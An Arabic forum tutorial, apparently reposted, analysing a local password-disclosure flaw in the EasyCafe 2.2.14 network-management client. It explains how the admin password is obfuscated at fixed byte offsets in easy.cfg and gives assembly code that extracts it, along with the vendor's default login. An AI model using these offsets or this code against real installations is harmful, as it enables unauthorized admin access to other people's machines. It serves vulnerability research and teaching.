بتـــــاريخ : 2/26/2011 5:27:45 AM
الفــــــــئة
  • الحـــــــــــاسب
  • التعليقات المشاهدات التقييمات
    0 2919 0


    شرح وتحليل ثغرة Password Disclosure في برنامج Easycafe تحليل لكيفية الإكتشاف و الإستثمار.

    الناقل : elmasry | العمر :42 | الكاتب الأصلى : DATA_SNIPER | المصدر : www.arabteam2000-forum.com

    كلمات مفتاحية  :

    السلام عليكم ورحمة الله تعالى وبركاته.
    الحمد لله رب العالمين والصلاة على رسول الله الكريم اما بعد.
    مقدمة:
    درسنا اليوم إن شاء الله عن ثغرات Password Discoluser ،تعتبر هذه الثغرات من اخطر انواع الثغرات من جهة انها تمكنك من كشف الباسوردات و الحسابات الخاصة في برنامج معين،هذا الدرس لن يكون نظري بحت
    او تطبيقي بحت بل سيجمع بينها لكي يكون لدينا جيل يفهم ويعرف التطبيق :wink:
    ينتشر هذا النوع من الثغرات في البرامج التالية:
    1- برامج حماية الخصوصية.
    2-برامج مراقبة الجهاز و التحركات التي تتم فيه .
    3-برامج المحادثة و تبادل الملفات و سكريبات PHP .

    المهم بصفة عامة هي جميع البرامج التي تطلب من المستخدم او يقوم فيها المستخدم بتخزين كلمات السر لغرض ما.
    على سبيل المثال:
    قمت بتنصيب برنامج KGBspy المتخصص في مراقبة الجهاز و منع دخول مواقع معينة ويفرض بعض القيود. وقمت بإدخال جميع الإعدادت ومن بينها كلمة السر،اين تظن انها تخزن....طبعا في الجهاز وهنا المشكلة فيمكن لأي احد ان يقوم بإستخراج الباسورد .
    بصفة عامة هذا النوع من الثغرات يعتمد على إقتناص الباسوردات المخزنة في مكان معين سواءا كان في ملف او حتى من الذاكرة.
    سنبدأ في الشرح بإذن الله وذلك على تطبيق من الواقع وهو برنامج إدارة الشبكات EasyCafe المقدم من شركة TINASOFT.
    الأدواة:
    -OllyDBG 1.10 او اي نسخة تريد.
    -FileMon.

    نبدأ:
    مقدمة عن البرنامج:
    البرنامج مختص في إدراة الشبكات ،في الشركات،او في شبكات مقاهي الأنترنت يتميز البرنامج بقوته في عدة اشياء.
    الدقة وتوفر جميع الميزات التي يتمنها مدير الشبكة في عمله وما يلفت الإنتباه في البرنامج إعتماده على ضبط تحركات المستخدم وضع قيود تصل إلى درجة فلترة الإتصال من وإلى جهاز اخر.
    مرحلة الشرح و التحليل:
    الثغرة عبارة عن عيب في البرنامج يمكن المخترق او اي مستخدم عادي عن طريق الإستثمار بإستخراج باسورد ال ADMIN الذي يكون له جميع الصلاحيات.
    تسيمة الثغرة: EasyCafe2.2.14 Local Password Discolusre.
    المكتشف: DATA_SNIPER
    الثغرة في برنامج Client اي البرنامج المثبت في الأجهزة الموجودة في الشبكة.
    ملاحظة:
    Client=هو البرنامج المتحكم فيه و الذي يكون مثبت في الأجهزة.
    Server=هو البرنامج الذي يتحكم في برامج ال Client الموزعة في الشبكة.
    لنقم بتحديد بعض النقاط قبل الإنطلاق في التحليل:
    1-البرنامج يقوم بتخزين الباسورد في مكان ما.
    2-عند تحميل البرنامج بالطبع سيقوم بتحميله إلى الذاكرة عن طريق دوال التعامل بالملفات CreateFileA و ReadFile
    ما سنقوم به الآن بتحديد الملف الذي يتم فيه تخزين الباسورد،جيد... لكن كيف نعرف؟
    الآن يأتي دور برنامج FileMon (برنامج يقوم بمارقبة عمليات الإنشاء و الكتابة للملفات في النظام).
    الان سنقوم بتثبيت برنامج Client ثم تشغيله،ستظهر لك شاشة زرقاء (ليست شاشة ميكروسوفت لا تخف :PP ) عبارة عن فلاش تظهر لك رسالة تطلب منك إدخال إسم المستخدم وكلمة السر،أدخل الكلمات الإفتراضية هي:
    TINASOFT
    EASYCAFE

    طبعا الان انت داخل بصلاحيات الأدمن والهدف من هذه العملية هي مراقبة البرنامج ومعرفة اين يتم تخزين الباسورد.
    الان دخلت شاهد الصورة،اضغط دبل كليك على TrayIcon الموجودة في الأسفل هي جديدة وعبارة عن جهازين ملتصقين تظهر لك مثل الصورة،بعد الضغط على Options

    Resized to 91% (was 719 x 568) - Click image to enlargeارفق صورة : monthly_09_2008/post-88726-1221213626.png

    هل ترى الملف Easy.cfg ذلك هو المف الذي يحتوي على الباسورد الخاص بالأدمن والشي الذي يأكد ذلك اننا بعد الظغط على Save ظهرت تلك النتيجة في برنامج Filemon طبعا يسئل السائل هنالك ملفات اخرى،لماذا ليست هي؟...نقول جرب إفتحها او كما تلاحظ انها واضحة من إسمها بعضها مختص بإعدادات اللغة و الآخر بإعدادات البرنامج المخزنة في ملف ini .
    المهم كما قلنا سابقا ان الباسورد يتم تخزينه في ملف easy.cfg لنلقي عليه نظرة.
    ارفق صورة : monthly_09_2008/post-88726-1221213630.png
    هل ترى الجزء المؤطر بالون الأحمر،ذلك يمثل IP الخاص بالـ Getway و كلمة Tinasoft هو إسم المستخدم.
    الان انجزنا نصف العمل،هل تظن الباقي بمثل هذه السهولة؟ نعم بمثل هذه السهولة لأن تلك الرموز ليس لأن الباسورد مشفر بل لأن الباسورد معمى فقط اي Obfuscated بمعنى آخر ان البرنامح في كل مرة تقوم فيها بوضع او تغيير كلمة السر يقوم بإعداد Obfuscation data ويضيفها للملف حيث انها تختلف في كل مرة ولكي نتأكد تعالوا لنقم بتغير الباسورد ونرى.
    شاهد الصورة.
    ارفق صورة : monthly_09_2008/post-88726-1221213635.png
    هل شاهدت ذلك الإختلاف،هنالك امر آخر وهو إسم المستخدم كما هو واضح يظهر أنه TINASOFTper لماذا ياترى؟..لأني قبل ذلك قمت بتغير إسم المستخدم إلى data_sniper فتم الكتابة على 8 أحرف وترك الباقي هذا مشكل سنتطرق إليه بعد قليل اثناء تحليل البرنامج بـ Olly .
    الى الآن عرفنا ان:
    -البرنامج يحفظ الباسورد وبعض الإعدادات في ملف اسمه Easy.cfg
    -هنالك بعض Obfuscation Data تتغير حسب شيئ معين.
    انهينا التحليل الإستايتيكي والان سنطفي على عمليتنا بعض الدقة و التفصيل عن طريق التحليل الفعلي و تتبع البرنامج بواسطة OllyDBG .
    وكما قلنا سابقا وكأي برنامج اخر يجب عليه ان يقوم بتحميل الإعدادات ومن بينها الباسورد و إسم المستخدم والتي تمثل الشيئ الأهم من بين الإعدادات الأخرى،لكن كيف واين وبأي دوال سيستعين؟
    اذا كنت مبتدأ في هذا المجال فإن الأمر سهل وذلك بإستدعاء دوالة القرائة ReadFile وذلك بعد إنشاء او فتح مقبض للملف عن طريق الدالة CreateFileA .
    الدالة CreateFileA معرفة بالشكل التالي:
    HANDLE CreateFile(

            LPCTSTR lpFileName,     // مؤشر للمتغير الذي يحمل إسم الملف
            DWORD dwDesiredAccess, // العملية المراد إجرائها على الملف
            DWORD dwShareMode,      // نمط المشاركة بين العمليات،اي انك بعد فتح المقبض للملف يمكنك ان تحدد نوع المشاركة في الملف مع العمليات الأخرى  حذف او قرائة او كتابة.
            LPSECURITY_ATTRIBUTES lpSecurityAttributes,     // لا يهمك
            DWORD dwCreationDistribution, //  كيف يتم التعامل مع الملف في حالة وجوده او عدم وجوده
            DWORD dwFlagsAndAttributes,     // لتحديد نوع الملف،مخفيي ،للقرائة فقط،ملف نظام....
            HANDLE hTemplateFile    // مقبض لملف تستطيع اخذ الإعدادات منه.
       );

    القيمة المرجعة هي عبارة عن مقبض للملف تستطيع من خلاله الكتابة او القرائة من وإلى الملف.
    الدالة ReadFile :
    BOOL ReadFile(

            HANDLE hFile, // المقبض المرجع من طرف الدالة CreateFileA
            LPVOID lpBuffer,        // عنوان لمساحة في الذاكرة او مؤشر لمتغير الذي سيتقبل البينات من الملف  
            DWORD nNumberOfBytesToRead,     // عدد البيانات المراد قرائتها
            LPDWORD lpNumberOfBytesRead,    // بفر يتم كتابة فيها عدد البايتات التي تم قرائتها
            LPOVERLAPPED lpOverlapped       // بها بعض التعقيدات لاذلك لا تحتجها لأننا طور التحليل فقط
       );

    بعد تعريف بسيط للدالتين الان يأتي وقت العمل.
    افتح البرنامج ف Olly مع ملاحظة ان البرنامج مضغوط بالــ ASPack 2.001 وسيتم إرفاق نسخة مفكوكة في النهاية.
    بعد فتح البرنامج في OllyDBG الان ما نريده منه هو ان يتوقف البرنامج اثناء عملية القرائة من ملف easy.cfg
    إضغط CTRL+N لرؤية قائمة الدوال، ضع نقطة توقف على الدالتين CreateFileA و ReadFile وذلك بالضغط على زر الفأرة الأيمن وإختر Set breakpoint on every reference شغل البرنامج بـ F9 سيوتقف البرنامح عند اول عملية فتح مقبض او إنشاء ملف شاهد الصورة.
    Resized to 81% (was 800 x 570) - Click image to enlargeارفق صورة : monthly_09_2008/post-88726-1221213642.png

    كما هو موضح في الصورة فإن البرنامج قام بإنشاء مقبض للملف easy.cfg ولذلك تمهيدا لعملية قرائته.
    شاهد الصورة.
    Resized to 81% (was 800 x 570) - Click image to enlargeارفق صورة : monthly_09_2008/post-88726-1221213652.png

    البرنامج إستدعى دالة القرائة ReadFile لقرائة المحتويات وذلك بإسناد قيمة 289 كطول محدد لحجم البيانات المراد قرائتها و التي تمثل حجم الملف،اتضح ان صاحب البرنامج بعرف حجم الملف في اي جهاز :lol: نعم، ربما في الخصائص او الإعدادات هنالك ملاحظة بأن حجم إسم المستخدم وكلمة السر محددتين المهم،مانستفيده هو انه اما البرنامج لا يستخدم حوارزمية تشفير معينة لأن خوارزمية التشفير يتغير طولها من PlainText إلى آخر ومن جهة اخرى يثبت لنا اما انه يستعمل Hash او Obfuscation Data فقط (نعم هو يستخدمها :wink: كما قلنا سابقا ).
    لنلقي نظرة على هذه الصورة المهمة
    Resized to 81% (was 800 x 570) - Click image to enlargeارفق صورة : monthly_09_2008/post-88726-1221213660.png

    كما نشاهد في الصورة الجزء المؤطر في أسفل الصورة هي المعلومات التي تم قرائتها من الملف ،و الأهم هو الكود فوق في النافذة الرئيسة،وكما هو مذكور في الصورة فإن ذلك الروتين هو المسؤول عن إستخراج الباسورد مع ملاحظة ان الكود مازال طويلا.
    هاهو جزء من الشفرة مع العلم أن الشفرة تتكرر مع تغيير بعض القيم،وهذا الجزء هو الشكل العام لها.
      LEA EAX,DWORD PTR SS:[EBP-0xD0] 
      MOV EDX,DWORD PTR DS:[0x4E7650]
      MOV DL,BYTE PTR DS:[EDX+0x14]
      MOV BYTE PTR DS:[EAX+0x1],DL
      MOV BYTE PTR DS:[EAX],0x1
      LEA EDX,DWORD PTR SS:[EBP-0xD0]
      LEA EAX,DWORD PTR SS:[EBP-0xD4]
      CALL 0x0403144

    نأتي الان لشرحها.
     LEA EAX,DWORD PTR SS:[EBP-0xD0] //  يشير إلى عنوان في المكدس الذي سيتم فيه تخزين الحرف الأول من الباسورد "مسبوقا ب 01" بعد إستخراجه EAXجعل المسجل 
      MOV EDX,DWORD PTR DS:[0x4E7650] // نقل عنوان المساحة التي تم الكتابة فيها والتي هي تحتوي الان على البيانات من ملف الإعدادات

    ملف الإعدادت=easy.cfg
    لاحظ هذا اهم جزء:
    MOV DL,BYTE PTR DS:[EDX+0x14]

    نعلم أن المسجل EDX يشير الان إلى محتويات الملف،نلاحظ هنا في هذا الكود أن البرنامج يقوم بأخذ البايت رقم 20 "14 في HEX" إبتداءا من من بداية الملف ونقله إلى المسجل DL،لماذا ياترى؟..يقوم بنقل ذلك الحرف الذي يمثل E إلى المسجل DL؟ ألآ يعني ذلك الحرف شيئ...دعونا نكتشف ذلك مع الأكواد الأخرى.
    MOV BYTE PTR DS:[EAX+0x1],DL

    نقل محتويات المسجل DL إلى العنوان المسجل في EAX زائد 1 اي وكما ذكرنا سابقا ان هذا العنوان هو الذي سيتم فيه تخزين الحرف الأول من السلسلة، اذاا حرف E جزء من الباسورد ، نعم هو كذلك لأن الباسورد الذي قمت بوضعه او الباسورد الإفتراضي هو EASYCAFE اي انه يبدأ بـحرف E دعونا نتابع ونعرف الباقي.
    MOV BYTE PTR DS:[EAX],0x1

    هذه التعليمة هي المسؤولة عن كتابة رقم 1 (الرقم 01 في النزام السداسي عشر يقابله 1 في النظام العشري) قبل الحرف وذلك لأنه سيتم جمعه بعد قليل مع الرقم 1 الذي يكون قبل الحرف الثاني من السلسلة وبالتالي فإن المجموع سيكون 2 وسيشير إلى أن المعلومات التي تم قرائتها 2.
    هذه الثلاث التعليمات هي التي تفيدنا أما التعليمات الأخرى Call و التعليمة الأخيرة أظن انها لن تفيدنا فهي مخصصة لحساب طول سلسلة الباسورد و اشياء اخرى.
    الآن ننتقل للأكواد الثلاثة الأخرى:
      LEA EAX,DWORD PTR SS:[EBP-0xD8] //  يشير إلى عنوان في المكدس الذي سيتم فيه تخزين الحرف الثاني من الباسورد بعد إستخراجه EAXجعل المسجل 
      MOV EDX,DWORD PTR DS:[0x4E7650] // كالعادة عنوان المساحة التي تحتوي على بيانات الملف.

    الآن نأتي للتعليمة المهمة:
    MOV DL,BYTE PTR DS:[EDX+0x22]

    مثل سابقتها نقل البايت الموجود في الموضع 34 "22 بـ HEX" إلى المسجل DL،هذا ان دل على شيئ فإنه يدل على أن البرنامج يختار بايتات معينة هي التي تمثل الباسورد ويقوم بإضافة Obfuscation Data فقط،الآن ماهو الحرف او البايت الموجود في الموقع 34؟
    إتضح أن البايت هو الحرف A وهو الحرف الثاني من الباسورد الإفتراضي EASYCAFE
    الآن لن نكمل شرح التعليمات الأخر وما سنقوم به هو إستخراج التعليمة التي تكون باشكل التالي:
      MOV DL,BYTE PTR DS:[EDX+0x??]

    وهي:
    MOV DL,BYTE PTR DS:[EDX+0x14]
      MOV DL,BYTE PTR DS:[EDX+0x22]
      MOV DL,BYTE PTR DS:[EDX+0x28]
      MOV DL,BYTE PTR DS:[EDX+0x30]
      MOV DL,BYTE PTR DS:[EDX+0x3D]
      MOV DL,BYTE PTR DS:[EDX+0x68]
      MOV DL,BYTE PTR DS:[EDX+0x6E]
      MOV DL,BYTE PTR DS:[EDX+0x85]
      MOV DL,BYTE PTR DS:[EDX+0xCA]
      MOV DL,BYTE PTR DS:[EDX+0xE3]

    من هذا الكود نستنتج أن المواقع التالية تمثل اماكن أحرف الباسورد:
    في النظام السداسي عشر Hexadecimal
    0x14,0x22,0x28,0x30,0x3D,0x68,0x6E,0x85,0xCA,0xE3

    في النظام الثماني decimal
    14,34,40,48,61,104,110,133,202,277

    شاهد الصورة بعد جمع الباسورد وإتمام عملية إستخارجه.
    Resized to 81% (was 800 x 570) - Click image to enlargeارفق صورة : monthly_09_2008/post-88726-1221218042.png

    فيما يخض تلك المسافات بعد بعد كلمة السر فإن البرنامج يقوم بوضعها لأن اقصى حد لكلمة السر هو 10 أحرف "0A"،كلمة EASYCAFE مكونة من 8 احرف + الفراغين "الفراغ هو بمثابة الضغط على Space في لوحة لمفاتيح ويقابله الرقم 20 في HEX"و المجموع يكون 10،وهذا عيب في البرنامج فماذا لو وضعت فراغ في كلة السر؟طبعا لن يقبلها وسيتوقف عندها واذا اردت التجريب ضع الباسورد بالشكل التالي EASY CAFE وسترى ان البرنامج لن يعمل وستقف عاجز امام شاشة طلب كلمة السر.
    نسيت امرا قد كنا تحدثنا عنه وهو إسم المستخدم وظهوره بهذا الشكل TINASOFTsper.
    إفتح البرنامج في محرر HEX و انظر قبل السلسلة مباشرة لاحظ.
    ارفق صورة : monthly_09_2008/post-88726-1221218194.png
    هل ترى الرقم 08 ذلك يشير إلى طول السلسلة "سلسلة إسم المستخدم"،وبالتالي اثناء عملية القرائة فإنه يتم تجاهل الحروف الأخيرة التي تمثل "sper".
    مرحلة كتابة الإستثمار:
    سنقوم فيه بكتابة الأكواد المهمة و الخاصة بإستخراج الباسورد،صادفتني مشكلة مع عملية إنشاء مقبض عندما يكون البرنامج يعمل لا اعلم لماذا رغم أن البرنامج وضع خيار SaredMode للقرائة و الكتابة لذلك قمت بنسخ ملف الإعدادات و القرائة منه،ربما يفيدنا بعض الإخوة في هذا الأمر.
    وهذا الكود غير كامل لكن يوصل الفكرة،وضعته هكذا لكي لا يستعمله الذين في قلوبهم مرض "اصحاب النسخ واللصق"
    واني ابرئ ذمتي امام الله من اي عمل غير شرعي فيه اذية للمؤمنين.
    invoke CopyFile,addr easyPath,addr newPath,0
    invoke CreateFile,addr newPath,GENERIC_READ,FILE_SHARE_READ and FILE_SHARE_WRITE ,0,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE and FILE_ATTRIBUTE_HIDDEN,0
    mov FileHandle,eax
    invoke ReadFile,FileHandle,addr filecontent,121h,addr address,0
    xor eax,eax
    xor edx,edx
    mov eax,offset password
    ///////////////إستخراج الباسورد من البيانات/////////////////
    mov dl,byte ptr [filecontent+14h]
    MOV BYTE PTR DS:[eax],dl
    mov dl,byte ptr [filecontent+22h]
    MOV BYTE PTR DS:[eax+1h],dl
    mov dl,byte ptr [filecontent+28h]
    MOV BYTE PTR DS:[eax+2h],dl
    mov dl,byte ptr [filecontent+30h]
    MOV BYTE PTR DS:[eax+3h],dl
    mov dl,byte ptr [filecontent+3Dh]
    MOV BYTE PTR DS:[eax+4h],dl
    mov dl,byte ptr [filecontent+68h]
    MOV BYTE PTR DS:[eax+5h],dl
    mov dl,byte ptr [filecontent+6Eh]
    MOV BYTE PTR DS:[eax+6h],dl
    mov dl,byte ptr [filecontent+85h]
    MOV BYTE PTR DS:[eax+7h],dl
    mov dl,byte ptr [filecontent+0cah]
    MOV BYTE PTR DS:[eax+8h],dl
    mov dl,byte ptr [filecontent+0E3h]
    MOV BYTE PTR DS:[eax+9h],dl
    //////////////////////////////////////////////////////////////////
    invoke MessageBox,0,addr password,addr titl,MB_OK
    invoke CloseHandle,FileHandle

    ملاحظة:
    الثغرة موجودة في هذا الإصدار لا اعلم ان كانت الإصدارات الأخرى او التحديثات ترقع هذه الثغرة،وهنالك شيئ آخر اذا اردت تطبيق الدرس انتبه للمشاكل الذي ستحدث من بينها تشغيل البرنامج في Startup او إغلاق البرنامج من Olly ثم يظهر من جديد ويطلب منك الباسورد لذلك تأكد قبل الخروج من Olly أن تغلق العملية guardit.exe لكي لا يتم تشغيله بعد إغلاق البرنامج من Olly،احذر من ان تدخل كلمة سر فيها فراغ.
    في الأخير اردت ان اجمع فيها هذا الدرس بين تحليل الثغرات و البرمجة بالأسمبلي فأرجوا من الله ان يوفقني فيما اردت.
    تقبلوا إعتذاري ان كان الدرس غير مفهوم او فيه بعض الغموض لذلك لا تتردد بالإستفسار.
    لقد تم إرفاق الصور لمن يعاني مشكلة في الإتصال.
    واختم كلامي بالصلاة على المصطفى، صلى الله عليه وسلم.
     
    ملف مرفق(ملفات)
     
    • ملف مرفق  Unpacked.rar (446كيلو )
      عدد مرات التحميل : 997
    • ملف مرفق  picture.rar (449.23كيلو )
      عدد مرات التحميل : 792

    كلمات مفتاحية  :

    تعليقات الزوار ()